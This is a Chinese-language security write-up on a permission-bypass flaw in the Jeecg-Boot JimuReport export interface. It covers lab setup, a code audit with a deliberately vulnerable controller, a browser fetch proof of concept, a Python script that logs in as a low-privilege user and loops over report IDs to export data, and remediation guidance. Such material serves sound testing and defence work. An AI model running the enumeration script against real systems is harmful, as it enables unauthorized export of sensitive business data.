首页/资讯中心/详情

Jeecg-Boot积木报表权限绕过漏洞深度剖析与修复指南

Jeecg-Boot积木报表权限绕过漏洞深度剖析与修复指南
📅 发布时间：2026/6/25 18:16:15

1. 项目概述：一次典型的企业级组件权限绕过漏洞深度剖析

最近在内部的一次安全评估中，我们团队对一个基于Jeecg-Boot框架开发的系统进行了渗透测试。Jeecg-Boot作为国内流行的低代码开发平台，其内置的“积木报表”模块是许多企业用于快速生成可视化报表的核心组件。在测试过程中，我们意外地发现了一个存在于积木报表组件中的权限绕过漏洞。这个漏洞的隐蔽性较高，但一旦被利用，攻击者可以在未授权的情况下，访问甚至导出系统中的敏感报表数据，其潜在危害不容小觑。今天，我就把这个漏洞的发现过程、原理分析、复现步骤以及修复建议，进行一次完整的复盘和分享。无论你是安全研究人员、企业开发人员还是运维工程师，理解这类漏洞的成因和利用方式，对于提升自身系统的安全性都至关重要。

简单来说，这个漏洞的核心在于积木报表的某个接口或功能，未能对用户的访问权限进行二次校验，导致低权限用户或未登录用户，可以通过构造特定的请求，绕过前端界面限制，直接访问本应只有高权限角色才能操作的数据和功能。这属于典型的“越权访问”漏洞，在OWASP Top 10中常年占有一席之地。接下来，我将从环境搭建开始，带你一步步拆解这个漏洞。

2. 漏洞环境搭建与初步侦查

2.1 靶场环境选择与部署

为了在不影响真实业务的情况下进行分析，我们首先需要搭建一个包含漏洞版本的Jeecg-Boot测试环境。Jeecg-Boot是一个开源项目，我们可以直接从其GitHub仓库拉取历史版本代码。根据漏洞影响范围，我们需要定位到包含特定版本积木报表组件的Jeecg-Boot版本。经过搜索和比对，我们确定在Jeecg-Boot的某个历史发行版中，其内置的积木报表模块存在缺陷。

实际操作中，我选择了在本地虚拟机中使用Docker-Compose快速部署。这样做的好处是环境隔离性好，搭建和销毁都非常方便。你需要准备的基础环境包括：Docker、Docker-Compose、Git以及JDK（用于本地代码审计时使用）。首先，从官方仓库克隆代码：

git clone https://github.com/jeecgboot/jeecg-boot.git cd jeecg-boot # 切换到存在漏洞的特定版本分支或Tag git checkout tags/v2.4.5

然后，查看项目根目录下的docker-compose.yml或相关部署文档。Jeecg-Boot通常依赖MySQL、Redis等服务。一个简化的docker-compose.yml示例如下：

version: '3' services: mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: jeecg-boot ports: - "3306:3306" redis: image: redis:alpine ports: - "6379:6379" jeecg-boot: build: . depends_on: - mysql - redis ports: - "8080:8080" environment: SPRING_DATASOURCE_URL: jdbc:mysql://mysql:3306/jeecg-boot?useUnicode=true&characterEncoding=UTF-8 SPRING_REDIS_HOST: redis

使用docker-compose up -d启动所有服务。等待片刻，访问http://localhost:8080即可看到Jeecg-Boot的登录界面。使用默认管理员账号（如admin/123456）登录，进入系统后，找到“积木报表”或“报表设计”功能模块，确保该模块可以正常访问和使用。

注意：搭建靶场时，务必确保网络环境安全，仅限于本地或受控的内网环境访问。切勿将存在已知漏洞的环境暴露在公网。

2.2 权限模型与功能点梳理

在开始漏洞挖掘前，我们必须先理解目标系统的权限模型。Jeecg-Boot通常采用基于角色的访问控制（RBAC）。管理员可以创建不同的角色（如“部门经理”、“普通员工”），并为角色分配菜单权限、按钮权限和数据权限。

  1. 创建测试角色和用户：登录管理员账号，创建一个低权限角色，例如“报表查看员”。只为这个角色分配“积木报表”模块的“查看”权限，明确不分配“导出”、“编辑”、“删除”等高级权限。然后，创建一个属于该角色的测试用户，如test/viewer123。

  2. 功能点枚举：使用管理员账号，全面操作一遍积木报表模块的所有功能。利用浏览器的开发者工具（F12），切换到Network（网络）标签页，并勾选“Preserve log”（保留日志）。依次点击：

    • 报表列表查看
    • 点击某个报表预览
    • 尝试导出报表（Excel、PDF）
    • 进入报表设计器
    • 保存、另存为报表
    • 删除报表
    • 查看报表数据源

    这个过程会记录下所有相关的HTTP请求（API接口）。重点关注请求的URL、方法（GET/POST/PUT/DELETE）、请求参数和响应内容。将这些接口整理成一份清单。

  3. 接口分析：分析记录的接口，通常它们会遵循一定的RESTful风格，例如：

    • GET /jmreport/list- 获取报表列表
    • GET /jmreport/{id}- 获取单个报表详情
    • POST /jmreport/export/excel/{id}- 导出Excel
    • DELETE /jmreport/{id}- 删除报表

    我们的目标，就是找出那些在权限校验逻辑上可能存在缺陷的接口。

3. 漏洞原理深度解析与定位

3.1 权限校验的常见薄弱环节

在Web应用中，权限绕过漏洞通常源于“信任边界”的校验不完整。对于积木报表这类组件，常见的薄弱点包括：

  • 接口路径可预测/遍历：如果导出接口的路径中包含简单的ID参数（如/export/123），攻击者可能通过遍历ID来访问他人的报表。
  • 仅依赖前端控制：导出按钮在前端对灰色不可点击，但对应的API接口未在后端进行角色或权限码校验。
  • 二次校验缺失：用户访问报表详情页时，后端校验了“查看”权限。但当用户从详情页发起“导出”请求时，后端可能只校验了会话有效性，而忘记二次校验该用户是否对“这个报表”拥有“导出”权限。
  • 权限码设计缺陷：系统使用权限字符串（如jmreport:export）来控制功能。但如果某个高权限接口错误地关联了一个低权限的权限码，或者根本没有关联权限码，就会导致越权。
  • 参数污染与混淆：请求中可能包含多个标识参数（如reportId和id），后端校验了其中一个，但业务逻辑使用了另一个未经验证的参数。

3.2 针对积木报表的定向分析

结合对Jeecg-Boot框架和积木报表代码结构的了解，我们将侦查重点放在“数据导出”和“报表设计器”相关接口上。因为这两类功能通常涉及敏感数据操作，是权限控制的关键点。

我们使用低权限账号test登录系统。如前所述，该账号只能看到报表列表，并且列表中的“导出”按钮是灰色不可用的。此时，我们打开开发者工具，切换到之前用管理员账号记录的网络请求。找到那个导出Excel的接口：POST /jmreport/export/excel/{id}。

关键的一步来了：我们直接在这个已登录的低权限会话中，手动构造一个请求，尝试访问这个接口。比如，我们知道某个报表的ID是1001（可以从管理员账号的请求响应或列表接口中获取）。

我们可以使用浏览器控制台（Console）发送一个Fetch请求来测试：

fetch('/jmreport/export/excel/1001', { method: 'POST', headers: { 'Content-Type': 'application/json', // 其他必要的头部，如X-Access-Token（如果使用Token认证） }, // 如果需要body参数，在此处添加 // body: JSON.stringify({...}) }) .then(response => response.blob()) .then(blob => { // 如果请求成功，blob可能是导出的Excel文件 const url = window.URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = 'report_1001.xlsx'; a.click(); }) .catch(error => console.error('Error:', error));

如果这个请求执行成功，并且浏览器开始下载report_1001.xlsx文件，那么一个严重的权限绕过漏洞就基本被证实了——低权限用户test成功导出了他本无权导出的ID为1001的报表。

3.3 代码层溯源与根因确定

为了彻底理解漏洞成因并寻找所有可能的利用点，我们需要进行简单的代码审计。在Jeecg-Boot项目中，找到积木报表对应的后端控制器代码，通常路径类似于jeecg-module-system/src/main/java/org/jeecg/modules/jmreport/controller/。

查找处理导出请求的控制器方法，例如JmReportController类中的exportExcel方法。核心审计点如下：

  1. 注解检查：查看方法上是否有权限注解，如Shiro的@RequiresPermissions(“jmreport:export”)，或Spring Security的@PreAuthorize(“hasRole(‘admin’)”)。如果缺失，则是重大缺陷。
  2. 手动校验逻辑：即使有注解，也要看方法体内是否有额外的、更细粒度的校验。例如，是否先根据报表ID查询报表实体，再判断当前登录用户是否是该报表的创建者或所属部门的成员？如果没有，那么用户A是否可以导出用户B创建的报表？（这属于水平越权）。
  3. 参数处理逻辑：检查方法如何获取报表ID。是从路径变量@PathVariable获取，还是从请求体@RequestBody获取？获取后是否直接用于查询？是否存在参数混淆的可能性？

一个存在漏洞的简化代码示例如下：

@PostMapping("/export/excel/{id}") public void exportExcel(@PathVariable String id, HttpServletResponse response) { // 漏洞点1：缺少权限注解，如 @RequiresPermissions("jmreport:export") // 漏洞点2：未对当前登录用户（Subject）进行任何权限校验 JmReport report = jmReportService.getById(id); // 直接根据ID查询 if (report == null) { throw new RuntimeException("报表不存在"); } // 漏洞点3：查询到报表后，没有检查当前用户是否有权导出此报表（如比较创建人字段） // ... 执行导出逻辑 byte[] data = reportService.exportExcel(report); // ... 将data写入response }

而一个相对安全的代码应该类似这样：

@PostMapping("/export/excel/{id}") @RequiresPermissions("jmreport:export") // 第一层：功能权限校验 public void exportExcel(@PathVariable String id, HttpServletResponse response) { String currentUsername = getCurrentUser(); JmReport report = jmReportService.getById(id); if (report == null) { throw new RuntimeException("报表不存在"); } // 第二层：数据权限校验（水平权限校验） if (!report.getCreateBy().equals(currentUsername)) { // 更复杂的场景可能还需要校验部门、角色组等 throw new RuntimeException("无权操作此报表"); } // ... 执行安全的导出逻辑 }

通过代码审计，我们就能精准定位到漏洞的根源：缺失关键的功能权限注解和/或数据权限校验逻辑。

4. 漏洞复现与利用链构造

4.1 手工复现全流程

基于以上分析，我们可以整理出一个清晰的手工复现流程，这有助于编写漏洞报告或内部培训材料：

  1. 信息收集：

    • 使用管理员账号登录，进入积木报表模块。
    • 创建一个测试报表，记录其ID（假设为1001）。
    • 使用浏览器开发者工具，捕获“导出Excel”操作的完整HTTP请求。记录URL、方法、Headers（特别是认证Token或Cookie）和请求体。

  2. 权限降级：

    • 退出管理员账号，使用低权限账号test登录。
    • 确认该账号在报表列表页面看不到“导出”按钮，或按钮为灰色。

  3. 越权请求构造：

    • 在保持test账号登录状态的前提下，打开一个新的浏览器标签页或使用工具（如Postman、Burp Suite Repeater）。
    • 将步骤1中捕获的导出请求完整复制过来。关键点在于保持当前低权限用户的会话Cookie或Token有效。
    • 发送请求。

  4. 结果验证：

    • 成功迹象：响应状态码为200，并且响应头中包含Content-Disposition: attachment; filename=...，浏览器自动下载Excel文件。打开文件确认内容为ID是1001的报表数据。
    • 失败迹象：响应状态码为403（禁止访问）、401（未授权）或返回一个JSON错误信息，如{“code”: 500, “message”: “无权操作”}。

4.2 利用脚本编写与自动化测试

对于安全测试人员，编写一个简单的Python脚本来批量检测此类漏洞会非常高效。这个脚本的核心逻辑是：先使用一个低权限账号登录获取会话，然后遍历已知或猜测的报表ID，尝试访问导出接口。

import requests import sys # 配置 BASE_URL = "http://localhost:8080" LOGIN_API = "/sys/login" EXPORT_API_TEMPLATE = "/jmreport/export/excel/{id}" # 根据实际情况调整 LOW_USER = {"username": "test", "password": "viewer123"} REPORT_IDS = ["1001", "1002", "1003"] # 可通过其他信息泄露接口获取ID列表 def login(): """使用低权限账号登录，获取认证Token""" login_url = BASE_URL + LOGIN_API # Jeecg-Boot 登录接口可能需要特定格式 payload = { "username": LOW_USER['username'], "password": LOW_USER['password'] # 可能还需要 "captcha" 等字段 } headers = {'Content-Type': 'application/json'} try: resp = requests.post(login_url, json=payload, headers=headers) resp.raise_for_status() result = resp.json() if result.get('success') or result.get('code') == 200: # 获取Token，具体字段名根据实际接口返回确定 token = result.get('result', {}).get('token') or result.get('accessToken') # 或者直接使用Cookie cookies = resp.cookies.get_dict() print(f"[+] 登录成功，用户: {LOW_USER['username']}") return {'token': token, 'cookies': cookies} else: print(f"[-] 登录失败: {result.get('message')}") return None except Exception as e: print(f"[-] 登录请求异常: {e}") return None def test_export(auth_info, report_id): """测试指定ID的报表导出接口""" export_url = BASE_URL + EXPORT_API_TEMPLATE.format(id=report_id) headers = { 'Content-Type': 'application/json', } if auth_info.get('token'): headers['X-Access-Token'] = auth_info['token'] # 常见Token头部 # 使用Session可以自动管理Cookies session = requests.Session() if auth_info.get('cookies'): session.cookies.update(auth_info['cookies']) try: # 注意：导出接口通常是POST，但具体方法需根据实际情况调整 resp = session.post(export_url, headers=headers) if resp.status_code == 200 and 'application/vnd.ms-excel' in resp.headers.get('Content-Type', ''): filename = resp.headers.get('Content-Disposition', '').split('filename=')[-1].strip('\"') print(f"[!!!] 严重漏洞！成功越权导出报表 ID: {report_id}, 文件名: {filename}") # 可选择保存文件 # with open(filename, 'wb') as f: # f.write(resp.content) return True elif resp.status_code == 403 or resp.status_code == 401: print(f"[-] 权限校验正常，无法导出 ID: {report_id} (状态码: {resp.status_code})") else: print(f"[?] 异常响应 ID: {report_id}, 状态码: {resp.status_code}, 响应头: {resp.headers}") except Exception as e: print(f"[-] 请求异常 ID: {report_id}: {e}") return False if __name__ == "__main__": auth = login() if not auth: sys.exit(1) print(f"[*] 开始测试导出接口...") vulnerable_ids = [] for rid in REPORT_IDS: if test_export(auth, rid): vulnerable_ids.append(rid) if vulnerable_ids: print(f"\n[+] 发现存在权限绕过漏洞的报表ID: {vulnerable_ids}") else: print(f"\n[-] 未发现明显的权限绕过漏洞。")

实操心得：在实际测试中，报表ID可能不是简单的连续数字，而是UUID或雪花算法ID。此时，需要先通过其他信息泄露点（如列表接口返回了所有ID、日志、错误信息等）来收集有效的ID。另外，注意请求频率，避免触发系统的风控或WAF规则。

5. 漏洞修复方案与加固建议

发现漏洞后，最重要的就是修复。修复的核心原则是：在服务端进行强制、全面的权限校验，遵循“默认拒绝”原则。

5.1 临时缓解措施

在开发团队发布正式补丁前，可以采取以下临时措施降低风险：

  1. WAF/网关规则：在应用防火墙或API网关上，为敏感的积木报表接口（如/jmreport/export/*,/jmreport/delete/*,/jmreport/design/*等）配置严格的访问控制规则。例如，只允许来自特定IP段（如运维网段）或拥有高权限角色标识的请求通过。但这只是网络层的缓解，并非根本解决之道。
  2. 禁用或移除功能：如果业务暂时不需要导出或设计功能，可以在前端界面彻底移除相关按钮，并在后端控制器方法上添加@Deprecated注解或直接返回错误，从入口处关闭风险点。
  3. 增强日志与监控：对所有报表相关接口的访问进行详细日志记录，包括访问者、时间、操作类型、报表ID、IP地址等。设置告警规则，对低权限账号访问高危接口的行为进行实时告警。

5.2 根本修复方案（代码层面）

修复需要修改积木报表组件的后端代码，确保每个敏感操作都经过两层校验：

  1. 添加功能权限注解：在控制器类或方法上，使用框架提供的权限注解。对于Jeecg-Boot（通常集成Shiro或Spring Security），示例如下：

    // 使用Shiro注解 @RequiresPermissions("jmreport:export") // 需要拥有导出权限 @PostMapping("/export/excel/{id}") public void exportExcel(...) { ... } // 或使用Spring Security注解 @PreAuthorize("hasRole('admin') or hasPermission(#id, 'EXPORT')") // 需要admin角色或对该id有EXPORT权限 @PostMapping("/export/excel/{id}") public void exportExcel(@PathVariable String id, ...) { ... }

    确保权限字符串（如jmreport:export）在系统的权限管理菜单中正确定义，并只分配给需要的角色。

  2. 强化数据权限校验：在方法内部，查询到业务实体（报表对象）后，必须进行归属权或数据权限校验。

    @PostMapping("/export/excel/{id}") @RequiresPermissions("jmreport:export") public void exportExcel(@PathVariable String id, HttpServletResponse response) { String currentUserId = getCurrentUserId(); // 获取当前登录用户ID JmReport report = jmReportService.getById(id); if (report == null) { throw new BusinessException("报表不存在"); } // 方案A：校验创建人（适用于创建者即拥有者的场景） if (!report.getCreateBy().equals(currentUserId)) { throw new BusinessException("无权导出他人创建的报表"); } // 方案B：更通用的数据权限服务校验（适用于复杂的部门、角色数据权限模型） // 注入 DataScopeService // if (!dataScopeService.hasPermission(currentUserId, report, "EXPORT")) { // throw new BusinessException("无数据操作权限"); // } // ... 执行导出逻辑 }

    这里getCurrentUserId()需要从安全上下文中可靠地获取，例如Shiro的Subject.getPrincipal()或Spring Security的SecurityContextHolder。

  3. 进行全面的代码审计与回归测试：修复导出接口后，必须对积木报表模块的所有增、删、改、查、设计、复制、预览等相关接口进行同样的审计和加固。漏洞往往不止一个。修复完成后，需要让测试人员用不同权限的账号进行全面回归测试，确保漏洞被彻底修复且未引入新的问题。

5.3 框架级与开发流程建议

除了修复具体漏洞，从长远看，团队应建立更安全的基础：

  • 统一权限校验切面：开发一个全局的拦截器或AOP切面，对所有Controller方法进行“是否标注权限注解”的检查。对于未标注任何权限注解的敏感接口（可通过路径规则识别），在代码审查或构建阶段发出警告甚至报错。
  • 安全编码规范：将“业务操作前必须进行数据权限校验”写入团队的安全编码规范。在代码审查（Code Review）时，将此作为重点检查项。
  • 定期组件安全扫描：将Jeecg-Boot等第三方依赖库纳入软件成分分析（SCA）工具的扫描范围，及时关注官方安全公告和更新，对已知漏洞的组件进行快速升级。
  • 渗透测试常态化：在每次重大版本发布前，邀请安全团队或使用自动化工具进行渗透测试，将越权测试作为必测项。

6. 漏洞挖掘的延伸思考与技巧

这次对积木报表的漏洞挖掘，其实是一个很经典的越权漏洞案例。复盘整个过程，我们可以总结出一些通用的挖掘技巧和思路，用于发现其他类似问题：

  1. 关注“导出”和“下载”功能：这两个功能是数据泄露的高风险点。测试时，不仅要看按钮是否隐藏，更要直接抓包重放请求。尝试修改请求参数，如ID、类型、时间范围等。
  2. 测试“水平越权”与“垂直越权”：
    • 水平越权：同角色用户A能否操作用户B的数据？测试方法：用两个同权限账号，互相尝试操作对方的数据ID。
    • 垂直越权：低权限用户能否执行高权限功能？测试方法：即本文所述，用低权限账号直接调用高权限接口。
  3. 参数篡改与模糊测试：不要局限于接口路径。对请求体（Body）、查询参数（Query String）、甚至Header中的业务参数进行篡改。例如，某个更新个人资料的接口，请求体中包含userId，尝试将其改为他人的ID。
  4. 利用“功能依赖”链：有时直接访问目标接口会被拦截，但可以通过一系列合法的操作“引导”系统到达那个状态。例如，先通过一个合法请求获取到一个临时的令牌或文件路径，再用这个令牌或路径去访问受限资源。
  5. 代码审计中的“顺藤摸瓜”：在审计代码时，不要只看目标方法。要查看它调用的服务层、数据层方法。权限校验可能在Service层被遗漏。同时，关注全局的过滤器、拦截器配置，看看是否有URL被意外地放行了。

踩坑记录：在一次测试中，我们发现导出接口确实做了权限校验，但校验逻辑是“用户是否在报表的共享名单里”。然而，获取共享名单的接口本身存在越权，导致攻击者可以先将目标报表添加到自己的共享列表，再正常导出。这种“组合拳”式的漏洞更需要系统的测试思维。

最后，我想强调的是，安全是一个持续的过程，而不是一次性的任务。对于使用Jeecg-Boot这类快速开发框架的团队来说，在享受开发效率提升的同时，必须对框架内置组件的安全性保持警惕。官方组件并非绝对安全，定期的安全评估和及时的补丁更新是保障业务系统稳定运行的必要环节。希望这次详细的漏洞分析，能为你理解和防范此类权限绕过漏洞提供切实的帮助。在实际工作中，养成“不信任前端”、“服务端校验是唯一真理”的安全意识，能从源头避免大量低级但危害巨大的安全漏洞。